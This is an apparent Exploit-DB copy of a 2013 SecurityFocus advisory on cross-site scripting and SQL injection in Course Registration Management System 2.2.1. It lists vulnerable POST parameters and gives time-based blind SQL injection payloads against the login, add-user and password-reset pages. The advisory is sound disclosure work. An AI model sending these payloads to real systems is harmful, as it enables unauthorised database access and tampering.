Course Registration Management System Multiple Vulnerabilities

vendor:

Course Registration Management System

by:

SecurityFocus

7,5

CVSS

HIGH

Cross-site Scripting and SQL Injection

79, 89

CWE

Product Name: Course Registration Management System

Affected Version From: 2.2.1

Affected Version To: 2.2.1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

Course Registration Management System Multiple Vulnerabilities

Course Registration Management System is prone to multiple cross-site scripting and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input. Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.

Mitigation:

Input validation and proper sanitization of user-supplied input should be implemented to prevent these attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/63435/info

Course Registration Management System is prone to multiple cross-site scripting and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.

Course Registration Management System 2.2.1 is vulnerable; other versions may also be affected. 


http://example.com/add_user.php (POST -  params: work_tel, lastname, email, gmc_reg, job_title, firstname)

http://example.com/login.php (POST -  params: username)

http://example.com/auth.php (POST -  params: username)

http://example.com/forgotten_password.php
(POST - username)
username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

http://example.com/add_user.php
(POST - email)
email='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

http://example.com/login.php
(POST - username)
username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+